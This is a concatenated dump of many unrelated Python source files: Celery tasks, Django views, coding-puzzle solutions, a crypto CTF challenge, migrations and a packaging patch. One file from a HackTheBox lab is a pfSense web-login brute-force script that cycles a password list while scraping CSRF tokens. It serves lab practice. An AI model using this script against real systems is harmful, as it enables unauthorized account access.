py
Python
crawlab/tasks/node.py
anhilo/crawlab
363f4bf7a4ccc192a99850998c1bd0fc363832a1
[ "BSD-3-Clause" ]
1
2019-08-20T14:26:39.000Z
2019-08-20T14:26:39.000Z
crawlab/tasks/node.py
anhilo/crawlab
363f4bf7a4ccc192a99850998c1bd0fc363832a1
[ "BSD-3-Clause" ]
9
2019-05-24T03:53:09.000Z
2022-02-26T10:53:48.000Z
crawlab/tasks/node.py
anhilo/crawlab
363f4bf7a4ccc192a99850998c1bd0fc363832a1
[ "BSD-3-Clause" ]
1
2019-11-08T08:12:40.000Z
2019-11-08T08:12:40.000Z
from utils import node from .celery import celery_app @celery_app.task def update_node_status(): node.update_nodes_status(refresh=True)
17.75
42
0.802817
e75b5218ee5bcb6ed07704b1e3f18161dae17138
196
py
Python
src/onegov/directory/types/__init__.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/directory/types/__init__.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/directory/types/__init__.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from onegov.directory.types.directory_configuration import ( DirectoryConfiguration, DirectoryConfigurationStorage ) __all__ = ('DirectoryConfiguration', 'DirectoryConfigurationStorage')
28
69
0.826531
e7742befefc546faf5193213eb6d139d4ca7105e
133
py
Python
HPI/CNN_MNIST.py
JoshuaJoost/GNN_SS20
6b905319f2e51b71569354c347805abce9df3cb1
[ "MIT" ]
null
null
null
HPI/CNN_MNIST.py
JoshuaJoost/GNN_SS20
6b905319f2e51b71569354c347805abce9df3cb1
[ "MIT" ]
null
null
null
HPI/CNN_MNIST.py
JoshuaJoost/GNN_SS20
6b905319f2e51b71569354c347805abce9df3cb1
[ "MIT" ]
null
null
null
import numpy as np import tensorflow as tf print(f"numpy version: {np.__version__}") # print(f"tensorflow version: {tf.__verion__}")
26.6
47
0.759398
4193e574e7d938adeb2221f349264f98e4fbbfee
1,812
py
Python
src/onegov/org/models/legacy_file.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/org/models/legacy_file.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/org/models/legacy_file.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
""" Contains the legacy models of files for url redirect support. Going forward, onegov.file and onegov.org.models.file is used. """ import base64 from onegov.core.filestorage import FilestorageFile from onegov.core import utils class LegacyFileCollection(object): def __init__(self, app): assert app....
25.521127
77
0.657837
d41bbef69ff506ad37c547a9473d9d806b653654
2,085
py
Python
___Python/Torsten/Python-Kurs/p03_lambda/m06_filtern.py
uvenil/PythonKurs201806
85afa9c9515f5dd8bec0c546f077d8cc39568fe8
[ "Apache-2.0" ]
null
null
null
___Python/Torsten/Python-Kurs/p03_lambda/m06_filtern.py
uvenil/PythonKurs201806
85afa9c9515f5dd8bec0c546f077d8cc39568fe8
[ "Apache-2.0" ]
null
null
null
___Python/Torsten/Python-Kurs/p03_lambda/m06_filtern.py
uvenil/PythonKurs201806
85afa9c9515f5dd8bec0c546f077d8cc39568fe8
[ "Apache-2.0" ]
null
null
null
from datetime import date from p01_kennenlernen import PythonLib from p01_kennenlernen.PythonLib import celsius_nach_fahrenheit temperaturenGC = [0.7, 2.1, 4.2, 8.2, 12.5, 15.6, 16.9, 16.3, 13.6, 9.5, 4.6, 2.3] #Durchschnittstemp. in Bielefeld print("Temperaturen in °C:", temperaturenGC) daniel = ["Daniel", ...
35.948276
134
0.668585
00ffc75274194c4c019adc607b99e1088259fe25
7,828
py
Python
scripts/to_bsdd.py
jdehotin/IFC4.3.x-development
5652a25dac27242af8c60f1a33206d1697948ffa
[ "FSFAP" ]
1
2021-08-31T16:12:09.000Z
2021-08-31T16:12:09.000Z
scripts/to_bsdd.py
Moult/IFC4.3.x-development
5dfacdc91f04b446f9d7386b950099fc14e6587e
[ "FSFAP" ]
null
null
null
scripts/to_bsdd.py
Moult/IFC4.3.x-development
5dfacdc91f04b446f9d7386b950099fc14e6587e
[ "FSFAP" ]
null
null
null
import os import re import sys import html import json from collections import defaultdict from xmi_document import xmi_document try: fn = sys.argv[1] try: OUTPUT = open(sys.argv[2], "w", encoding='utf-8') except IndexError as e: OUTPUT = sys.stdout except: print("Usage: python to_po....
34.034783
132
0.536791
2b62f91a1ab9a43209068b0217bd620e941f16ed
1,719
py
Python
_transonic_testing/for_test_justintime.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
88
2019-01-08T16:39:08.000Z
2022-02-06T14:19:23.000Z
_transonic_testing/for_test_justintime.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
13
2019-06-20T15:53:10.000Z
2021-02-09T11:03:29.000Z
_transonic_testing/for_test_justintime.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
1
2019-11-05T03:03:14.000Z
2019-11-05T03:03:14.000Z
import numpy as np from transonic import jit, boost from transonic.mpi import Path def func0(a): return 2 * a def func(): return 1 func0_jitted = jit(func0) @jit def func1(a: "int[][] or float[]", l: "int list"): tmp = np.exp(sum(l)) result = tmp * a * func0(a) + func() return result @jit...
15.770642
77
0.600931
5a9ebdd7fc1e13935881d3ba238c1782fb8239da
148
py
Python
kafka/cruise-control/cruise-control-client/cruisecontrolclient/util/__init__.py
smthkissinger/docker-images
35e868295d04fa780325ada4168381f1e80e8fe4
[ "BSD-3-Clause" ]
2,177
2017-08-28T15:07:01.000Z
2022-03-30T11:06:01.000Z
kafka/cruise-control/cruise-control-client/cruisecontrolclient/util/__init__.py
smthkissinger/docker-images
35e868295d04fa780325ada4168381f1e80e8fe4
[ "BSD-3-Clause" ]
1,079
2017-08-30T07:25:06.000Z
2022-03-31T17:49:07.000Z
kafka/cruise-control/cruise-control-client/cruisecontrolclient/util/__init__.py
smthkissinger/docker-images
35e868295d04fa780325ada4168381f1e80e8fe4
[ "BSD-3-Clause" ]
489
2017-08-28T16:17:03.000Z
2022-03-31T15:52:18.000Z
# Copyright 2019 LinkedIn Corp. Licensed under the BSD 2-Clause License (the "License"). # See License in the project root for license information.
49.333333
88
0.777027
7a4835b14f42f618c2a8b02624b5c9ab508daef5
1,983
py
Python
python/en/archive/books/jump2python/j2p-02_2_4-string_indexing_and_slicing.py
aimldl/coding
70ddbfaa454ab92fd072ee8dc614ecc330b34a70
[ "MIT" ]
null
null
null
python/en/archive/books/jump2python/j2p-02_2_4-string_indexing_and_slicing.py
aimldl/coding
70ddbfaa454ab92fd072ee8dc614ecc330b34a70
[ "MIT" ]
null
null
null
python/en/archive/books/jump2python/j2p-02_2_4-string_indexing_and_slicing.py
aimldl/coding
70ddbfaa454ab92fd072ee8dc614ecc330b34a70
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ jump2python-02_2_4-string_indexing_and_slicing.py P.47, 문자열 인덱싱과 슬라이싱 인덱싱 = 가리킨다 슬라이싱 = 무언인가를 잘라낸다. """ ##################### # 문자열 인덱싱이란? # ##################### # Python은 0부터 숫자를 센다. a = "Life is too short. You need Python" print( a[3] ) # e # 문자열 인덱싱 활용하기 print( a[0],...
17.094828
61
0.463944
8f0394cf7bae407b2cd7d77348f6d407eb1a5b8c
2,753
py
Python
comments/views.py
alien3211/lom-web
c7971238b0dd043854c911a0b9126b84d7deed4a
[ "MIT" ]
null
null
null
comments/views.py
alien3211/lom-web
c7971238b0dd043854c911a0b9126b84d7deed4a
[ "MIT" ]
null
null
null
comments/views.py
alien3211/lom-web
c7971238b0dd043854c911a0b9126b84d7deed4a
[ "MIT" ]
null
null
null
from django.contrib import messages from django.contrib.contenttypes.models import ContentType from django.http import HttpResponseRedirect, HttpResponse from django.shortcuts import render, get_object_or_404, Http404 from django.contrib.auth.decorators import login_required from .models import Comment from .forms imp...
34.848101
82
0.615692
713afca282090bcac5ba1c399b3d8c45c868ba75
376
py
Python
Problems/Two Pointers/easy/SquareSortedArray/squares_sorted_array.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
1
2021-08-16T14:52:05.000Z
2021-08-16T14:52:05.000Z
Problems/Two Pointers/easy/SquareSortedArray/squares_sorted_array.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
Problems/Two Pointers/easy/SquareSortedArray/squares_sorted_array.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
from typing import List def sortedSquares(nums: List[int]) -> List[int]: answer = [0] * len(nums) l, r = 0, len(nums) - 1 while l <= r: left, right = abs(nums[l]), abs(nums[r]) if left > right: answer[r - l] = left * left l += 1 else: answer[r - ...
23.5
48
0.468085
a4470fbd785b964dd326766c8d81644594933f1e
7,602
py
Python
source/pkgsrc/lang/python36/patches/patch-setup.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
1
2021-11-20T22:46:39.000Z
2021-11-20T22:46:39.000Z
source/pkgsrc/lang/python36/patches/patch-setup.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
source/pkgsrc/lang/python36/patches/patch-setup.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
$NetBSD: patch-setup.py,v 1.5 2018/06/17 19:21:22 adam Exp $ Disable certain modules, so they can be built as separate packages. Do not look for ncursesw. Assume panel_library is correct; this is a fix for ncurses' gnupanel which will get transformed to panel in buildlink. --- setup.py.orig 2018-03-28 09:19:31.0000...
46.638037
137
0.545514
f174f7b2292b71b3aab60fdf14301c64c1e13fb0
817
py
Python
Arrays and Strings/StringCompression.py
dileeppandey/hello-interview
78f6cf4e2da4106fd07f4bd86247026396075c69
[ "MIT" ]
null
null
null
Arrays and Strings/StringCompression.py
dileeppandey/hello-interview
78f6cf4e2da4106fd07f4bd86247026396075c69
[ "MIT" ]
null
null
null
Arrays and Strings/StringCompression.py
dileeppandey/hello-interview
78f6cf4e2da4106fd07f4bd86247026396075c69
[ "MIT" ]
1
2020-02-12T16:57:46.000Z
2020-02-12T16:57:46.000Z
""" Given an array of characters, compress it in-place. https://leetcode.com/problems/string-compression/ """ class Solution: def compress(self, chars) -> int: start = i = 0 while i < len(chars): char, length = chars[i], 1 while i + 1 < len(chars) and char == chars[i+...
29.178571
64
0.471236
2d3917d7f5ff9a157e53909d772bd437a369aaf5
6,259
py
Python
.arch/arch/_tools.py
axiros/docutools
f99874a64afba8f5bc740049d843151ccd9ceaf7
[ "BSD-2-Clause" ]
24
2021-10-04T22:11:59.000Z
2022-02-02T21:51:43.000Z
.arch/arch/_tools.py
axiros/docutools
f99874a64afba8f5bc740049d843151ccd9ceaf7
[ "BSD-2-Clause" ]
2
2021-10-04T21:51:30.000Z
2021-10-05T14:15:31.000Z
.arch/arch/_tools.py
axiros/docutools
f99874a64afba8f5bc740049d843151ccd9ceaf7
[ "BSD-2-Clause" ]
null
null
null
#!/usr/bin/env python from devapp.tools import ( FLG, FlagsDict, read_file, write_file, dir_of, dict_merge, partial, ) from devapp.app import app, run_app, system, do # noqa import os, sys, json, time from dataclasses import dataclass wait, now = time.sleep, time.time # -----------------...
29.384977
88
0.537626
779577371bdb6ba14af6cc63d2a109a70c0c729b
19,124
py
Python
pickle_plotting_v2.py
JoelHaubold/NzmLabeling
363c027ce6584899025f79ea4758e1808b2aa96a
[ "MIT" ]
null
null
null
pickle_plotting_v2.py
JoelHaubold/NzmLabeling
363c027ce6584899025f79ea4758e1808b2aa96a
[ "MIT" ]
null
null
null
pickle_plotting_v2.py
JoelHaubold/NzmLabeling
363c027ce6584899025f79ea4758e1808b2aa96a
[ "MIT" ]
null
null
null
import matplotlib.pyplot as plt from pathlib import Path import pandas as pd import os import numpy as np def get_file_paths(file_directory): file_paths = os.listdir(file_directory) file_paths = list(filter(lambda f_path: os.path.isdir(file_directory / f_path), file_paths)) return file_paths def plot_da...
45.860911
226
0.617653
8dcf80e3ca677897ebe7725a3da53790d57d1372
507
py
Python
290-word-pattern/290-word-pattern.py
hyeseonko/LeetCode
48dfc93f1638e13041d8ce1420517a886abbdc77
[ "MIT" ]
2
2021-12-05T14:29:06.000Z
2022-01-01T05:46:13.000Z
290-word-pattern/290-word-pattern.py
hyeseonko/LeetCode
48dfc93f1638e13041d8ce1420517a886abbdc77
[ "MIT" ]
null
null
null
290-word-pattern/290-word-pattern.py
hyeseonko/LeetCode
48dfc93f1638e13041d8ce1420517a886abbdc77
[ "MIT" ]
null
null
null
class Solution: def wordPattern(self, pattern: str, s: str) -> bool: if len(pattern)!=len(s.split(" ")): return False di = dict() wordset = set() for p, word in zip(pattern, s.split(" ")): if p not in di: if word not in wordset: ...
31.6875
56
0.431953
5c24ac46f9e50b8204fbcdc39b2877a0e1289044
690
py
Python
components/uvoice/get_open_source.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
4,538
2017-10-20T05:19:03.000Z
2022-03-30T02:29:30.000Z
components/uvoice/get_open_source.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
1,088
2017-10-21T07:57:22.000Z
2022-03-31T08:15:49.000Z
components/uvoice/get_open_source.py
willianchanlovegithub/AliOS-Things
637c0802cab667b872d3b97a121e18c66f256eab
[ "Apache-2.0" ]
1,860
2017-10-20T05:22:35.000Z
2022-03-27T10:54:14.000Z
#!/usr/bin/env python import os, sys print("the script is " + sys.argv[0]) print("current dir is " + os.getcwd()) cur_dir = os.getcwd() script_dir = sys.path[0] script1_dir = os.path.join(script_dir, "codec", "opensource", "pvaac") script2_dir = os.path.join(script_dir, "codec", "opensource", "pvmp3") os.chdir(script...
25.555556
70
0.682609
69346952ebbcaebefa9ee656fb5b4648291cb36a
15,700
py
Python
src/onegov/directory/archive.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/directory/archive.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/directory/archive.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
import mimetypes import shutil import os from collections import OrderedDict from onegov.core.csv import convert_list_of_dicts_to_csv from onegov.core.csv import convert_list_of_dicts_to_xlsx from onegov.core.csv import convert_excel_to_csv from onegov.core.csv import CSVFile from onegov.core.custom import json from o...
32.438017
79
0.587898
d664deb8b1d9edd79d9e97859167e6a067344d99
2,384
py
Python
Aero/2021/crypto/horcrux/horcrux.py
mystickev/ctf-archives
89e99a5cd5fb6b2923cad3fe1948d3ff78649b4e
[ "MIT" ]
1
2021-11-02T20:53:58.000Z
2021-11-02T20:53:58.000Z
Aero/2021/crypto/horcrux/horcrux.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
null
null
null
Aero/2021/crypto/horcrux/horcrux.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
1
2021-12-19T11:06:24.000Z
2021-12-19T11:06:24.000Z
#!/usr/bin/env python3.8 from os import urandom from gmpy2 import next_prime from random import randrange, getrandbits from Crypto.Cipher import AES from fastecdsa.curve import Curve def bytes_to_long(data): return int.from_bytes(data, 'big') def generate_random_point(p): while True: a, x, y = (ran...
26.786517
75
0.632131
240bd6747d3b813d833cf4c87dd16c2380202063
158
py
Python
check_subset.py
nirobio/puzzles
fda8c84d8eefd93b40594636fb9b7f0fde02b014
[ "MIT" ]
null
null
null
check_subset.py
nirobio/puzzles
fda8c84d8eefd93b40594636fb9b7f0fde02b014
[ "MIT" ]
null
null
null
check_subset.py
nirobio/puzzles
fda8c84d8eefd93b40594636fb9b7f0fde02b014
[ "MIT" ]
null
null
null
for _ in range(int(input())): lengthA = input() a = set(input().split()) lengthB = input() b = set(input().split()) print(a.issubset(b))
19.75
29
0.544304
03114dc8bd4adbbd016fc74549bfc8dd9615bf65
2,825
py
Python
doc/examples/bench_proj_perp/bench.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
88
2019-01-08T16:39:08.000Z
2022-02-06T14:19:23.000Z
doc/examples/bench_proj_perp/bench.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
13
2019-06-20T15:53:10.000Z
2021-02-09T11:03:29.000Z
doc/examples/bench_proj_perp/bench.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
1
2019-11-05T03:03:14.000Z
2019-11-05T03:03:14.000Z
import numpy as np from transonic import boost, Array, Type A = Array[Type(np.float64, np.complex128), "3d"] Af = "float[:,:,:]" A = Af # issue fused type with Cython def proj(vx: A, vy: A, vz: A, kx: Af, ky: Af, kz: Af, inv_k_square_nozero: Af): tmp = (kx * vx + ky * vy + kz * vz) * inv_k_square_nozero vx ...
26.650943
80
0.536283
003f4a9a4a95493b884f442f99ebdd055da3c6a2
2,623
py
Python
tests/rbac/common/role/create_role_helper.py
fthornton67/sawtooth-next-directory
79479afb8d234911c56379bb1d8abf11f28ef86d
[ "Apache-2.0" ]
75
2018-04-06T09:13:34.000Z
2020-05-18T18:59:47.000Z
tests/rbac/common/role/create_role_helper.py
fthornton67/sawtooth-next-directory
79479afb8d234911c56379bb1d8abf11f28ef86d
[ "Apache-2.0" ]
989
2018-04-18T21:01:56.000Z
2019-10-23T15:37:09.000Z
tests/rbac/common/role/create_role_helper.py
fthornton67/sawtooth-next-directory
79479afb8d234911c56379bb1d8abf11f28ef86d
[ "Apache-2.0" ]
72
2018-04-13T18:29:12.000Z
2020-05-29T06:00:33.000Z
# Copyright 2019 Contributors to Hyperledger Sawtooth # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law ...
34.064935
84
0.665269
00443851beafb37b7796f17c6e329fe2305df6cb
1,146
py
Python
Packs/CommonScripts/Scripts/CheckIfSubdomain/CheckIfSubdomain_test.py
jrauen/content
81a92be1cbb053a5f26a6f325eff3afc0ca840e0
[ "MIT" ]
2
2021-12-06T21:38:24.000Z
2022-01-13T08:23:36.000Z
Packs/CommonScripts/Scripts/CheckIfSubdomain/CheckIfSubdomain_test.py
jrauen/content
81a92be1cbb053a5f26a6f325eff3afc0ca840e0
[ "MIT" ]
61
2021-10-07T08:54:38.000Z
2022-03-31T10:25:35.000Z
Packs/CommonScripts/Scripts/CheckIfSubdomain/CheckIfSubdomain_test.py
henry-sue-pa/content
043c6badfb4f9c80673cad9242fdea72efe301f7
[ "MIT" ]
2
2022-01-05T15:27:01.000Z
2022-02-01T19:27:43.000Z
import pytest import demistomock as demisto CIDR_RANGES = [ ('issubdomain.good.com,anothersubdomain.good.com,notasubdomain.bad.com', 'good.com', 3, [True, True, False]), ('"issubdomain.good.com, anothersubdomain.good.com, notasubdomain.bad.com"', 'good.com', 3, [True, True, False]), ('subdomain.good.com,n...
39.517241
124
0.673647
005196f199a1cb5ed253f4dbbb978489653bc79d
1,416
py
Python
Lehrjahr_2/Modul_122/python/validierung.py
severinkaderli/gibb
5b4952cedacb3885ab4a0eb9fd6c1cab5674e3ee
[ "MIT" ]
5
2015-05-19T14:26:53.000Z
2016-06-24T17:03:03.000Z
Lehrjahr_2/Modul_122/python/validierung.py
severinkaderli/gibb
5b4952cedacb3885ab4a0eb9fd6c1cab5674e3ee
[ "MIT" ]
null
null
null
Lehrjahr_2/Modul_122/python/validierung.py
severinkaderli/gibb
5b4952cedacb3885ab4a0eb9fd6c1cab5674e3ee
[ "MIT" ]
6
2015-05-26T06:25:05.000Z
2020-04-30T07:25:30.000Z
#!/usr/bin/python3.4 # #SCRIPT: validierung.py #AUTHOR: Severin Kaderli #PURPOSE: Class for validation #USAGE: ./validierung.py import re class Validator: def address(self, string): if not re.search('^\d{1,}$', string): return False else: return True def name(self, string): if not re.search('^[a-zA-Z\'-]...
27.764706
191
0.576977
cc6b6f76a0855547307902718221cafe327e1315
873
py
Python
Backend/migrations/alembic/versions/3d9efa9b90ca_create_landkreise_extended_materialized_.py
dbvis-ukon/coronavis
f00374ac655c9d68541183d28ede6fe5536581dc
[ "Apache-2.0" ]
15
2020-04-24T20:18:11.000Z
2022-01-31T21:05:05.000Z
Backend/migrations/alembic/versions/3d9efa9b90ca_create_landkreise_extended_materialized_.py
dbvis-ukon/coronavis
f00374ac655c9d68541183d28ede6fe5536581dc
[ "Apache-2.0" ]
2
2021-05-19T07:15:09.000Z
2022-03-07T08:29:34.000Z
Backend/migrations/alembic/versions/3d9efa9b90ca_create_landkreise_extended_materialized_.py
dbvis-ukon/coronavis
f00374ac655c9d68541183d28ede6fe5536581dc
[ "Apache-2.0" ]
4
2020-04-27T16:20:13.000Z
2021-02-23T10:39:42.000Z
"""create landkreise_extended materialized view Revision ID: 3d9efa9b90ca Revises: 7347754aab0f Create Date: 2020-11-25 21:44:46.947496 """ from alembic import op # revision identifiers, used by Alembic. revision = '3d9efa9b90ca' down_revision = '7347754aab0f' branch_labels = None depends_on = None def upgrade(): ...
26.454545
98
0.61512
aeacf44caaa5e8685196820fbc03bb26148e7f13
1,153
py
Python
gateway/desktop/python/device.py
mikebarkmin/smartlights
8551f8ec06391f65ec075d2fcd2f0dd958c51a90
[ "Unlicense" ]
null
null
null
gateway/desktop/python/device.py
mikebarkmin/smartlights
8551f8ec06391f65ec075d2fcd2f0dd958c51a90
[ "Unlicense" ]
2
2021-05-10T14:10:34.000Z
2021-09-01T22:32:45.000Z
gateway/desktop/python/device.py
mikebarkmin/smartlights
8551f8ec06391f65ec075d2fcd2f0dd958c51a90
[ "Unlicense" ]
null
null
null
import re import subprocess import requests from typing import List # Regulärer Ausdruck zum Testen von IP-Adressen re_ip = re.compile(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$") # Standardport, der zum Auffinden der Netwerkgeräte verwendet werden soll STD_PORT = 80 class NetworkDevice(): def __init__(self, ip_ad...
25.622222
74
0.593235
4e0ba1956177dd23fd95063117cb79f224bd6b76
615
py
Python
Boot2Root/hackthebox/Sense/scripts/pfsense-login-bruteforce.py
Kan1shka9/CTFs
33ab33e094ea8b52714d5dad020c25730e91c0b0
[ "MIT" ]
21
2016-02-06T14:30:01.000Z
2020-09-11T05:39:17.000Z
Boot2Root/hackthebox/Sense/scripts/pfsense-login-bruteforce.py
Kan1shka9/CTFs
33ab33e094ea8b52714d5dad020c25730e91c0b0
[ "MIT" ]
null
null
null
Boot2Root/hackthebox/Sense/scripts/pfsense-login-bruteforce.py
Kan1shka9/CTFs
33ab33e094ea8b52714d5dad020c25730e91c0b0
[ "MIT" ]
7
2017-02-02T16:27:02.000Z
2021-04-30T17:14:53.000Z
import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning import re re_csrf = 'csrfMagicToken = "(.*?)"' s = requests.session() lines = open('passwords.txt') for password in lines: r = s.post('http://127.0.0.1/index.php') csrf = re.findall(re_csrf, r.text)[0] login = {'__csrf_magic':...
29.285714
103
0.660163
0952819c27852506c325e3672a51b0a155a124c5
4,097
py
Python
research/nlp/dam/src/douban_evaluation.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/nlp/dam/src/douban_evaluation.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/nlp/dam/src/douban_evaluation.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
28.255172
96
0.585306
0956eb972b7a7e2faf58d6b994098554129d0113
131
py
Python
packages/watchmen-rest-doll/src/watchmen_rest_doll/util/__init__.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-rest-doll/src/watchmen_rest_doll/util/__init__.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-rest-doll/src/watchmen_rest_doll/util/__init__.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
from .crypt import crypt_password, verify_password from .trans import trans, trans_readonly, trans_with_fail_over, trans_with_tail
43.666667
79
0.862595
11b5630f2787575340fc1b83371a8ef925e01385
790
py
Python
sort/merge_sort.py
imttx/awesome-algorithm
d72277cc278131ae670bea74db4283b02f362758
[ "MIT" ]
null
null
null
sort/merge_sort.py
imttx/awesome-algorithm
d72277cc278131ae670bea74db4283b02f362758
[ "MIT" ]
null
null
null
sort/merge_sort.py
imttx/awesome-algorithm
d72277cc278131ae670bea74db4283b02f362758
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # 归并排序,纯粹练手 # 核心:将两个有序对数组归并成一个更大的有序数组。通常做法为递归排序,并将两个不同的有序数组归并到第三个数组中。 def mergeSort(data): if len(data) <= 1: return data mid = len(data) // 2 left = mergeSort(data[:mid]) right = mergeSort(data[mid:]) return mergeSortArray(left, right) d...
18.809524
57
0.558228
eee47f314c8e46fb9539f14f62c05e13960a5be9
507
py
Python
source/pkgsrc/devel/py-cffi/patches/patch-testing_cffi0_test__verify.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
1
2021-11-20T22:46:39.000Z
2021-11-20T22:46:39.000Z
source/pkgsrc/devel/py-cffi/patches/patch-testing_cffi0_test__verify.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
source/pkgsrc/devel/py-cffi/patches/patch-testing_cffi0_test__verify.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
$NetBSD: patch-testing_cffi0_test__verify.py,v 1.2 2018/03/01 07:59:54 adam Exp $ Add NetBSD support. --- testing/cffi0/test_verify.py.orig 2017-07-03 17:44:02.180970759 +0000 +++ testing/cffi0/test_verify.py @@ -1798,7 +1798,7 @@ def test_callback_indirection(): #include <malloc.h> #define alloca _...
31.6875
81
0.631164
28ae62621ffd0a8ea0c7c1d968cdafd9a01578de
7,649
py
Python
Python/Strings/Merge_tools.py
vinayvinu500/Hackerrank
e185ae9d3c7dc5cd661761142e436f5df6a3f0f1
[ "MIT" ]
null
null
null
Python/Strings/Merge_tools.py
vinayvinu500/Hackerrank
e185ae9d3c7dc5cd661761142e436f5df6a3f0f1
[ "MIT" ]
null
null
null
Python/Strings/Merge_tools.py
vinayvinu500/Hackerrank
e185ae9d3c7dc5cd661761142e436f5df6a3f0f1
[ "MIT" ]
null
null
null
# https://www.hackerrank.com/challenges/merge-the-tools/problem?h_r=internal-search # string = 'AAABCADDE' # kth = 3 string = 'AABCAAADA' kth = 3 string = "KYQYTWXTDQXWDLKIXNWIITFBLIHRNGDZGVYCRXVWNUVSFFACUXMCSTFFBNWQVBQCWOEPNBOAVJUCOUGITSMNLSUOFRFAUXETNIKAJYCEJWIXSOHMGUBTOWKVPPXJOCEBKPDWNFCXDLWVZEJIALBOJLLYCIJQKOTXDW...
177.883721
6,916
0.958557
a390543a5c8d8b7061aaf2e70c7c2ad07169819d
456
py
Python
Contests/Mocking SpongeBob.py
MastaCoder/Projects
ebb0a3134522b12f052fec8d753005f384adf1b1
[ "MIT" ]
5
2018-10-11T01:55:40.000Z
2021-12-25T23:38:22.000Z
Contests/Mocking SpongeBob.py
MastaCoder/mini_projects
ebb0a3134522b12f052fec8d753005f384adf1b1
[ "MIT" ]
null
null
null
Contests/Mocking SpongeBob.py
MastaCoder/mini_projects
ebb0a3134522b12f052fec8d753005f384adf1b1
[ "MIT" ]
1
2019-02-22T14:42:50.000Z
2019-02-22T14:42:50.000Z
amount = int(input()) sen = [0 for n in range(amount)] for i in range(amount): sen[i] = list(input()) cap = False for z in range(len(sen[i])): if sen[i][z].isalpha() == True: if cap == True: cap = False sen[i][z] = sen[i][z].upper() else: ...
26.823529
45
0.432018
6e5f1e80c9110777691d78d508b896305033bc60
386
py
Python
Licence 1/I11/TP2/tp2_1_2.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
8
2020-11-26T20:45:12.000Z
